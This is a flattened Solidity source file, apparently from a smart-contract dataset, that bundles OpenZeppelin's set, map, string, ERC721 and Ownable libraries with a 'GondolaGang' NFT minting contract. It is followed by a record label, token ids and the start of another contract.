// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/*
((((((((((((((((((((((((((((GGGGGGGGGGGGGGGGGGGGGGGGG(((((((((((((((((((((((((((
((((((((((((((((((((GGGGGGGG/////////////////////////GGGGGGG((((((((((((((((((((
(((((((((((((((GGGGG#####///////////////////////////////////GGGGG(((((((((((((((
((((((((((((GGG#####/////////////////////////////////////////////GGG((((((((((((
((((((((((GG#####///////////GGOOO///////////////GGOOO///////////////GG((((((((((
((((((((GG#####/////////////GGGGG///////////////GGGGG/////////////////GG((((((((
((((((((GG#####///////////////////////GGGGG///////////////////////////GG((((((((
((((((((GG#####//////////GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG//////////////GG((((((((
((((((((GG#####////////GG..........GGGGGGGGGG...........GG////////////GG((((((((
((((((((GG#####//////GG##........GGGGG#####GGGGG##........GG//////////GG((((((((
((((((((GG#####//////GG#######GGG///GG,,,,,GG///GGG###....GG//////////GG((((((((
((((((((GG#####////////GGGGGGG////////GGGGG///////GGGGGGGG////////////GG((((((((
((((((((GG#####///////////////////////////////////////////////////////GG((((((((
((((((((GG#####///////////////////////////////////////////////////////GG((((((((
((((((((GG#####///////////////////////////////////////////////////////GG((((((((
((((((((GG#####////////////////////GGGGGGGGGG(((//////////////////////GG((((((((
((((((((GG#####/////////////////GGG((((((((((GGG((////////////////////GG((((((((
((((((((GG#####////////////////GG(((((((((((((((GG(((/////////////////GG((((((((
((((((((GG#####////////////////GG(((((((((((((((GG(((/////////////////GG((((((((
((((((((GG#####////////////////GG(((((((((((((((GG(((/////////////////GG((((((((
((((((((GG#####////////////////GG(((((((((((((((GG(((/////////////////GG((((((((
((((((((GG#####////////////////GG(((((((((((((((GG(((/////////////////GG((((((((
*/
pragma solidity ^0.7.0;
pragma abicoder v2;
contract GondolaGang is ERC721, Ownable {
using SafeMath for uint256;
string public GONDOLA_PROVENANCE = "";
uint256 public constant gondolaPrice = 30000000000000000; // 0.03 ETH
uint public constant maxGondolaPurchase = 20;
uint256 public constant MAX_GONDOLAS = 10000;
bool public saleIsActive = false;
constructor() ERC721("GondolaGang", "GG") { }
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
GONDOLA_PROVENANCE = provenanceHash;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function mintGondola(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint");
require(numberOfTokens > 0 && numberOfTokens <= maxGondolaPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_GONDOLAS, "Purchase would exceed max supply of gondolas");
require(msg.value >= gondolaPrice.mul(numberOfTokens), "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_GONDOLAS) {
_safeMint(msg.sender, mintIndex);
}
}
}
}
|
True
|
[
101,
1013,
1008,
1008,
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7864,
2005,
22616,
2012,
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pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
